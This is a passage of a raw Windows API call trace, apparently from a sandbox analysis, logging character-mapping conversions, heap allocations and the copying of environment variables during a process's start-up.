!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchSrc=256, lpCharType=0x18ec30 | out: lpCharType=0x18ec30) returned 1 [0033.462] GetLastError () returned 0x0 [0033.462] SetLastError (dwErrCode=0x0) [0033.462] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f030, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0033.462] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f030, cbMultiByte=256, lpWideCharStr=0x18e968, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0033.462] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0033.462] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchSrc=256, lpDestStr=0x18e758, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0033.462] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18ef30, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ:.R\x11lñ\x18", lpUsedDefaultChar=0x0) returned 256 [0033.462] GetLastError () returned 0x0 [0033.462] SetLastError (dwErrCode=0x0) [0033.462] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f030, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0033.462] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f030, cbMultiByte=256, lpWideCharStr=0x18e988, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ阺BĀ") returned 256 [0033.462] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ阺BĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0033.462] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ阺BĀ", cchSrc=256, lpDestStr=0x18e778, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0033.463] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18ee30, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ:.R\x11lñ\x18", lpUsedDefaultChar=0x0) returned 256 [0033.463] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0033.463] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x42efeb) returned 0x49a8b9 [0033.463] RtlSizeHeap (HeapHandle=0x3840000, Flags=0x0, MemoryPointer=0x3863e30) returned 0x80 [0033.463] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0033.463] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x1f) returned 0x3862250 [0033.463] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x3862250, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 31 [0033.463] GetLastError () returned 0x0 [0033.463] SetLastError (dwErrCode=0x0) [0033.463] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x0, Size=0x4) returned 0x38640e0 [0033.463] RtlSizeHeap (HeapHandle=0x3840000, Flags=0x0, MemoryPointer=0x38640e0) returned 0x4 [0033.463] RtlReAllocateHeap (Heap=0x3840000, Flags=0x0, Ptr=0x38640e0, Size=0x8) returned 0x38640e0 [0033.463] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 54 [0033.463] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x36) returned 0x38640f0 [0033.463] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", cchWideChar=-1, lpMultiByteStr=0x38640f0, cbMultiByte=54, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", lpUsedDefaultChar=0x0) returned 54 [0033.463] GetLastError () returned 0x0 [0033.463] SetLastError (dwErrCode=0x0) [0033.464] GetLastError () returned 0x0 [0033.464] SetLastError (dwErrCode=0x0) [0033.464] GetLastError () returned 0x0 [0033.464] SetLastError (dwErrCode=0x0) [0033.464] RtlSizeHeap (HeapHandle=0x3840000, Flags=0x0, MemoryPointer=0x38640e0) returned 0x8 [0033.464] RtlReAllocateHeap (Heap=0x3840000, Flags=0x0, Ptr=0x38640e0, Size=0xc) returned 0x3864130 [0033.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 55 [0033.464] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x37) returned 0x3864148 [0033.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x3864148, cbMultiByte=55, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CommonProgramFiles=C:\\Program Files (x86)\\Common Files", lpUsedDefaultChar=0x0) returned 55 [0033.464] GetLastError () returned 0x0 [0033.464] SetLastError (dwErrCode=0x0) [0033.464] GetLastError () returned 0x0 [0033.464] SetLastError (dwErrCode=0x0) [0033.464] GetLastError () returned 0x0 [0033.464] SetLastError (dwErrCode=0x0) [0033.464] GetLastError () returned 0x0 [0033.464] SetLastError (dwErrCode=0x0) [0033.464] GetLastError () returned 0x0 [0033.464] SetLastError (dwErrCode=0x0) [0033.464] RtlSizeHeap (HeapHandle=0x3840000, Flags=0x0, MemoryPointer=0x3864130) returned 0xc [0033.464] RtlReAllocateHeap (Heap=0x3840000, Flags=0x0, Ptr=0x3864130, Size=0x10) returned 0x3864130 [0033.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles(x86)=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 60 [0033.464] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x3c) returned 0x38587a8 [0033.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles(x86)=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x38587a8, cbMultiByte=60, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CommonProgramFiles(x86)=C:\\Program Files (x86)\\Common Files", lpUsedDefaultChar=0x0) returned 60 [0033.464] GetLastError () returned 0x0 [0033.464] SetLastError (dwErrCode=0x0) [0033.464] GetLastError () returned 0x0 [0033.464] SetLastError (dwErrCode=0x0) [0033.464] GetLastError () returned 0x0 [0033.464] SetLastError (dwErrCode=0x0) [0033.464] GetLastError () returned 0x0 [0033.464] SetLastError (dwErrCode=0x0) [0033.465] GetLastError () returned 0x0 [0033.465] SetLastError (dwErrCode=0x0) [0033.465] GetLastError () returned 0x0 [0033.465] SetLastError (dwErrCode=0x0) [0033.465] GetLastError () returned 0x0 [0033.465] SetLastError (dwErrCode=0x0) [0033.465] RtlSizeHeap (HeapHandle=0x3840000, Flags=0x0, MemoryPointer=0x3864130) returned 0x10 [0033.465] RtlReAllocateHeap (Heap=0x3840000, Flags=0x0, Ptr=0x3864130, Size=0x14) returned 0x3864188 [0033.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramW6432=C:\\Program Files\\Common Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 49 [0033.465] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x31) returned 0x38641a8 [0033.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramW6432=C:\\Program Files\\Common Files", cchWideChar=-1, lpMultiByteStr=0x38641a8, cbMultiByte=49, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CommonProgramW6432=C:\\Program Files\\Common Files", lpUsedDefaultChar=0x0) returned 49 [0033.465] GetLastError () returned 0x0 [0033.465] SetLastError (dwErrCode=0x0) [0033.465] GetLastError () returned 0x0 [0033.465] SetLastError (dwErrCode=0x0) [0033.465] GetLastError () returned 0x0 [0033.465] SetLastError (dwErrCode=0x0) [0033.465] GetLastError () returned 0x0 [0033.465] SetLastError (dwErrCode=0x0) [0033.465] GetLastError () returned 0x0 [0033.465] SetLastError (dwErrCode=0x0) [0033.465] GetLastError () returned 0x0 [0033.465] SetLastError (dwErrCode=0x0) [0033.465] GetLastError () returned 0x0 [0033.465] SetLastError (dwErrCode=0x0) [0033.465] GetLastError () returned 0x0 [0033.465] SetLastError (dwErrCode=0x0) [0033.465] GetLastError () returned 0x0 [0033.465] SetLastError (dwErrCode=0x0) [0033.466] RtlSizeHeap (HeapHandle=0x3840000, Flags=0x0, MemoryPointer=0x3864188) returned 0x14 [0033.466] RtlReAllocateHeap (Heap=0x3840000, Flags=0x0, Ptr=0x3864188, Size=0x18) returned 0x3864188 [0033.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPUTERNAME=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0033.466] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x17) returned 0x38641e8 [0033.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPUTERNAME=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x38641e8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMPUTERNAME=XDUWTFONO", lpUsedDefaultChar=0x0) returned 23 [0033.466] GetLastError () returned 0x0 [0033.466] SetLastError (dwErrCode=0x0) [0033.466] GetLastError () returned 0x0 [0033.466] SetLastError (dwErrCode=0x0) [0033.466] GetLastError () returned 0x0 [0033.466] SetLastError (dwErrCode=0x0) [0033.466] GetLastError () returned 0x0 [0033.466] SetLastError (dwErrCode=0x0) [0033.466] GetLastError () returned 0x0 [0033.466] SetLastError (dwErrCode=0x0) [0033.466] GetLastError () returned 0x0 [0033.466] SetLastError (dwErrCode=0x0) [0033.466] GetLastError () returned 0x0 [0033.466] SetLastError (dwErrCode=0x0) [0033.466] GetLastError () returned 0x0 [0033.466] SetLastError (dwErrCode=0x0) [0033.466] GetLastError () returned 0x0 [0033.466] SetLastError (dwErrCode=0x0) [0033.466] GetLastError () returned 0x0 [0033.466] SetLastError (dwErrCode=0x0) [0033.466] GetLastError () returned 0x0 [0033.467] SetLastError (dwErrCode=0x0) [0033.467] RtlSizeHeap (HeapHandle=0x3840000, Flags=0x0, MemoryPointer=0x3864188) returned 0x18 [0033.467] RtlReAllocateHeap (Heap=0x3840000, Flags=0x0, Ptr=0x3864188, Size=0x1c) returned 0x3864208 [0033.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ComSpec=C:\\Windows\\system32\\cmd.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0033.467] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x24) returned 0x385e140 [0033.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ComSpec=C:\\Windows\\system32\\cmd.exe", cchWideChar=-1, lpMultiByteStr=0x385e140, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ComSpec=C:\\Windows\\system32\\cmd.exe", lpUsedDefaultChar=0x0) returned 36 [0033.467] GetLastError () returned 0x0 [0033.467] SetLastError (dwErrCode=0x0) [0033.467] GetLastError () returned 0x0 [0033.467] SetLastError (dwErrCode=0x0) [0033.467] GetLastError () returned 0x0 [0033.467] SetLastError (dwErrCode=0x0) [0033.467] GetLastError () returned 0x0 [0033.467] SetLastError (dwErrCode=0x0) [0033.467] GetLastError () returned 0x0 [0033.467] SetLastError (dwErrCode=0x0) [0033.467] GetLastError () returned 0x0 [0033.467] SetLastError (dwErrCode=0x0) [0033.467] GetLastError () returned 0x0 [0033.467] SetLastError (dwErrCode=0x0) [0033.467] GetLastError () returned 0x0 [0033.467] SetLastError (dwErrCode=0x0) [0033.467] GetLastError () returned 0x0 [0033.467] SetLastError (dwErrCode=0x0) [0033.467] GetLastError () returned 0x0 [0033.467] SetLastError (dwErrCode=0x0) [0033.467] GetLastError () returned 0x0 [0033.468] SetLastError (dwErrCode=0x0) [0033.468] GetLastError () returned 0x0 [0033.468] SetLastError (dwErrCode=0x0) [0033.468] GetLastError () returned 0x0 [0033.468] SetLastError (dwErrCode=0x0) [0033.468] RtlSizeHeap (HeapHandle=0x3840000, Flags=0x0, MemoryPointer=0x3864208) returned 0x1c [0033.468] RtlReAllocateHeap (Heap=0x3840000, Flags=0x0, Ptr=0x3864208, Size=0x20) returned 0x3864208 [0033.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="FP_NO_HOST_CHECK=NO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0033.468] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x14) returned 0x3864188 [0033.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="FP_NO_HOST_CHECK=NO", cchWideChar=-1, lpMultiByteStr=0x3864188, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="FP_NO_HOST_CHECK=NO", lpUsedDefaultChar=0x0) returned 20 [0033.468] GetLastError () returned 0x0 [0033.468] SetLastError (dwErrCode=0x0) [0033.468] GetLastError () returned 0x0 [0033.468] SetLastError (dwErrCode=0x0) [0033.468] GetLastError () returned 0x0 [0033.468] SetLastError (dwErrCode=0x0) [0033.468] GetLastError () returned 0x0 [0033.468] SetLastError (dwErrCode=0x0) [0033.468] GetLastError () returned 0x0 [0033.468] SetLastError (dwErrCode=0x0) [0033.468] GetLastError () returned 0x0 [0033.468] SetLastError (dwErrCode=0x0) [0033.468] GetLastError () returned 0x0 [0033.468] SetLastError (dwErrCode=0x0) [0033.468] GetLastError () returned 0x0 [0033.468] SetLastError (dwErrCode=0x0) [0033.468] GetLastError () returned 0x0 [0033.468] SetLastError (dwErrCode=0x0) [0033.468] GetLastError () returned 0x0 [0033.468] SetLastError (dwErrCode=0x0) [0033.468] GetLastError () returned 0x0 [0033.469] SetLastError (dwErrCode=0x0) [0033.469] GetLastError () returned 0x0 [0033.469] SetLastError (dwErrCode=0x0) [0033.469] GetLastError () returned 0x0 [0033.469] SetLastError (dwErrCode=0x0) [0033.471] GetLastError () returned 0x0 [0033.471] SetLastError 